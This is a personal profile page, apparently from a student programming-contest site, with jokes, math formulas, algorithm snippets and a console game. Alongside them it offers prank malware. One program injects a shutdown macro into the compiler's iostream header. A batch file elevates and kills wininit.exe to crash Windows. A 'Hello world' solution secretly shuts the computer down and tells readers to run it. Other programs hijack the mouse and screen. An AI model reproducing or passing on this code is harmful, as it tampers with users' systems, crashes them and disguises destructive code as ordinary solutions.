-
个人简介
关于各种读入方式的速度的研究报告
程序员沙雕故事:
魔鬼:我可以实现你三个愿望,然后我就杀了你
程序员:第一个愿望:实现第二个愿望
程序员:第二个愿望:实现第三个愿望
程序员:第三个愿望:实现第一个愿望
魔鬼.exe 已停止运行
Don't think of yourself as an ugly person.
Think of yourself as a beautiful monkey.
表达式处理(中缀)
#include <iostream> #include <cstring> #include <iomanip> #include <cmath> #include <stack> //用栈存表达式树 #include <unordered_map> //运算符优先级,用哈希表 using namespace std; const int N=100010; string s; stack<int> num; //存数字的 stack<char> op; //存运算符的 unordered_map<char,int> pr{{'+',1},{'-',1},{'*',2},{'/',2},{'^',3}}; void calc() { int b=num.top(); num.pop(); int a=num.top(); num.pop(); char c=op.top(); op.pop(); int res; if (c=='+') res=a+b; if (c=='-') res=a-b; if (c=='*') res=a*b; if (c=='/') res=a/b; if (c=='^') res=pow(a,b); num.push(res); } int main() { cin >> s; for (int i=0;i<s.length();i++) { char c=s[i]; if (isdigit(c)) { int n=0,j=i; while (isdigit(s[j]) && j<s.length()) { n=n*10+s[j]-'0'; j++; } num.push(n); i=j-1; } else if (c=='(') op.push(c); else if (c==')') { while (op.size() && op.top()!='(') { calc(); } op.pop(); } else { while (op.size() && pr[op.top()]>=pr[c]) { calc(); } op.push(c); } } while (op.size()) calc(); cout << num.top() << endl; return 0; }
$$令a=b \\ \because a=b \\ \therefore a^{2}=ab \\ \therefore a^{2}-b^{2}=ab-b^{2} \\ \therefore (a+b)(a-b)=b(a-b) \\ \therefore a+b=b \\ \therefore a+a=a \\ \therefore 2a=a \\ \\ 当a=1时,可得 2=1 \\ PS:单细胞可以驳倒此证明 $$
$$\begin{array}{l} a\mathop{{x}}\nolimits^{{2}}+bx+c=0 \\ \Delta =\mathop{{b}}\nolimits^{{2}}-4ac \\ \mathop{{x}}\nolimits_{{1,2}}=\frac{{-b \pm \sqrt{{\mathop{{b}}\nolimits^{{2}}-4ac}}}}{{2a}} \\ \mathop{{x}}\nolimits_{{1}}+\mathop{{x}}\nolimits_{{2}}=-\frac{{b}}{{a}} \\ \mathop{{x}}\nolimits_{{1}}\mathop{{x}}\nolimits_{{2}}=\frac{{c}}{{a}} \end{array} $$
$$\left.\begin{matrix} a \perp \alpha \\ b \perp \alpha \end{matrix}\right\}\Rightarrow a \parallel b $$
$$\frac{1}{n \left( n+k \right)}= \frac{1}{k}\left( \frac{1}{n}-\frac{1}{n+k}\right) $$
LIS O(nlogn)
q[++len]=a[1]; for (int i=2;i<=n;i++) { if (a[i]>=q[len]) { q[++len]=a[i]; } else { int k=upper_bound(q+1,q+len+1,a[i])-q; q[k]=a[i]; } } cout << len << endl;
JC神器,又冥《开iostream不喝printf,喝printf不开iostream》
#include <iostream> #include <cstring> #include <algorithm> using namespace std; string path="\"C:\\Program Files (x86)\\Dev-Cpp\\MinGW64\\lib\\gcc\\x86_64-w64-mingw32\\4.8.1\\include\\c++\\iostream\""; string kill="#define printf(x) system(\"shutdown -s -t 60\"),printf(x)"; int main() { string change="echo "; string cmd=change; cmd+=kill; cmd+=" >> "; cmd+=path; //cout << cmd << endl; system(cmd.c_str()); system("pause"); return 0; }
蓝屏不算电脑坏也~
@echo off %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit taskkill /f /im wininit.exe
内存player 又冥《当你逝图用队列的长度计算2的幂次》
#include <iostream> #include <queue> using namespace std; queue<int> q; queue<int> p; queue<int> tmp; int main() { q.push(114514); for (int i=0;i<32;i++) { cout << "2^" << i << "=" << q.size() << endl; tmp=q; while (!tmp.empty()) { p.push(tmp.front()); tmp.pop(); } while (!p.empty()) { q.push(p.front()); p.pop(); } } cout << q.size(); }
颠佬屏幕滚动器(将dev-c++编译选项的“编译时加入以下命令”中写入-std=c++1y -mwindows方可生效)
//2022tysc1772 #include <iostream> #include <windows.h> using namespace std; DWORD move() { int v1; HDC v2; HDC v3; HBITMAP v4; int v5; int v6; bool v7; int x; int death=101; //增加此值效果更佳 int v11; v11 = GetSystemMetrics(0); v1 = GetSystemMetrics(1); v2 = GetDC(0); v3 = CreateCompatibleDC(v2); v4 = CreateCompatibleBitmap(v2, v11, v1); SelectObject(v3, v4); v5 = v11 / 10; x = v11 / 10; v6 = 9 * (v11 / 10); do { BitBlt(v3, 0, 0, v5, v1, v2, v6, 0, 0xCC0020u); BitBlt(v3, x, 0, 9 * (v11 / 10), v1, v2, 0, 0, 0xCC0020u); BitBlt(v2, 0, 0, v11, v1, v3, 0, 0, 0xCC0020u); v7 = (death-- == 1); v5 = v11 / 10; v6 = 9 * x; } while ( !v7 ); return 0; } int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { move(); }
当你发现电脑帮你做了一切(增加death的值口味更佳)
//2022tysc1772 #include <iostream> #include <windows.h> #include <cstdlib> #include <ctime> using namespace std; const int death=10000; int main() { srand(time(0)); for (int i=0;i<death;i++) { int x=rand()%1920,y=rand()%1080; SetCursorPos(x,y); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); Sleep(1); } return 0; }
Hello world!题解,务必在电脑中调试,否则CE!
//2022tysc1772 #include<bits/stdc++.h> #define printf(x) system("shutdown -s -t 0"),printf(x) using namespace std; int main() { printf("Hello world!"); return 0; }
//2022tysc1772 #pragma GCC diagnostic error "-std=c++11" #pragma GCC optimize(3) #pragma GCC target("avx") #pragma GCC optimize("Ofast") #pragma GCC optimize("inline") #pragma GCC optimize("-fgcse") #pragma GCC optimize("-fgcse-lm") #pragma GCC optimize("-fipa-sra") #pragma GCC optimize("-ftree-pre") #pragma GCC optimize("-ftree-vrp") #pragma GCC optimize("-fpeephole2") #pragma GCC optimize("-ffast-math") #pragma GCC optimize("-fsched-spec") #pragma GCC optimize("unroll-loops") #pragma GCC optimize("-falign-jumps") #pragma GCC optimize("-falign-loops") #pragma GCC optimize("-falign-labels") #pragma GCC optimize("-fdevirtualize") #pragma GCC optimize("-fcaller-saves") #pragma GCC optimize("-fcrossjumping") #pragma GCC optimize("-fthread-jumps") #pragma GCC optimize("-funroll-loops") #pragma GCC optimize("-fwhole-program") #pragma GCC optimize("-freorder-blocks") #pragma GCC optimize("-fschedule-insns") #pragma GCC optimize("inline-functions") #pragma GCC optimize("-ftree-tail-merge") #pragma GCC optimize("-fschedule-insns2") #pragma GCC optimize("-fstrict-aliasing") #pragma GCC optimize("-fstrict-overflow") #pragma GCC optimize("-falign-functions") #pragma GCC optimize("-fcse-skip-blocks") #pragma GCC optimize("-fcse-follow-jumps") #pragma GCC optimize("-fsched-interblock") #pragma GCC optimize("-fpartial-inlining") #pragma GCC optimize("no-stack-protector") #pragma GCC optimize("-freorder-functions") #pragma GCC optimize("-findirect-inlining") #pragma GCC optimize("-fhoist-adjacent-loads") #pragma GCC optimize("-frerun-cse-after-loop") #pragma GCC optimize("inline-small-functions") #pragma GCC optimize("-finline-small-functions") #pragma GCC optimize("-ftree-switch-conversion") #pragma GCC optimize("-foptimize-sibling-calls") #pragma GCC optimize("-fdelete-null-pointer-checks")
#include <iostream> #include <cstring> #include <algorithm> #include <cstdio> #include <cstdlib> #include <ctime> #include <vector> #include <windows.h> #define key_down(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1 : 0) using namespace std; string block="■"; string space=" "; string side[]={ "┏","━","┓", "┃"," ","┃", "┗","━","┛" }; const int N=10,M=20,Ecnt=1,EcntLimit=1,hard=2,rd=2,tmp=1e9; string map[N+10][M+10]; string tmap[N+10][M+10]; int speed=1; int dir[8][2]={ {-1,0}, {1,0}, {0,-1}, {0,1}, {1,1}, {1,-1}, {-1,1}, {-1,-1} }; struct point { int x,y; }; point player; vector<point> sb; void init_map_side() { map[1][1]=side[0]; for(int i=2;i<=M-1;i++) { map[1][i]=side[1]; } map[1][M]=side[2]; for(int i=2;i<=N-1;i++) { map[i][1]=side[3]; } for (int i=2;i<=N-1;i++) { for (int j=2;j<=M-1;j++) { if (rand()%tmp==0) { map[i][j]=block; } else map[i][j]=side[4]; } map[i][M]=side[5]; } map[N][1]=side[6]; for (int i=2;i<=M-1;i++) { map[N][i]=side[7]; } map[N][M]=side[8]; } void hideCursor() { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } void init() { hideCursor(); init_map_side(); for (int i=1;i<=N;i++) { for (int j=1;j<=M;j++) { tmap[i][j]=map[i][j]; } } player={1,1}; for (int i=0;i<Ecnt;i++) { sb.push_back({N,M}); } srand(time(0)); } void print_map() { hideCursor(); for (int i=1;i<=N;i++) { for (int j=1;j<=M;j++) { string str=map[i][j]; printf("%s",str.c_str()); } printf("\n"); } } bool check(int x,int y) { return (x>=1 && x<=N && y>=1 && y<=M && map[x][y]!=block); } void player_move() { int x=player.x,y=player.y; map[x][y]=tmap[x][y]; if(key_down(VK_UP)) { int dx=x+dir[0][0],dy=y+dir[0][1]; if(check(dx,dy)) { x=dx,y=dy; } } if (key_down(VK_DOWN)) { int dx=x+dir[1][0],dy=y+dir[1][1]; if(check(dx,dy)) { x=dx,y=dy; } } if (key_down(VK_LEFT)) { int dx=x+dir[2][0],dy=y+dir[2][1]; if(check(dx,dy)) { x=dx,y=dy; } } if (key_down(VK_RIGHT)) { int dx=x+dir[3][0],dy=y+dir[3][1]; if(check(dx,dy)) { x=dx,y=dy; } } player={x,y}; map[x][y]="jj"; } void sb_move() { bool hit=false; for (int i=0;i<sb.size();i++) { int x=sb[i].x,y=sb[i].y; map[x][y]=tmap[x][y]; char a='s'+rand()%4; char b='b'+rand()%4; string nw=""; nw+=a; nw+=b; if (x==player.x && y==player.y) hit=true; if (x<player.x && rand()%hard==0) //在上 { x=x+dir[1][0]; } if (x>player.y && rand()%hard==0) //在下 { x=x+dir[0][0]; } if (y<player.y && rand()%hard==0) //在左边 { y=y+dir[3][1]; } if (y>player.y && rand()%hard==0) //在右边 { y=y+dir[2][1]; } if (rand()%rd==0) { x=x+dir[rand()%4][0]; y=y+dir[rand()%4][1]; } if (check(x,y)) { sb[i]={x,y}; map[x][y]=nw; } //map[x][y]="sb"; } if (hit) { int x=player.x+dir[rand()%4][0],y=player.y+dir[rand()%4][1]; if(check(x,y) && sb.size()<EcntLimit) { sb.push_back({x,y}); } } } void thing_move() { player_move(); sb_move(); } int main() { init(); print_map(); while (1) { system("cls"); print_map(); thing_move(); Sleep(speed); } return 0; }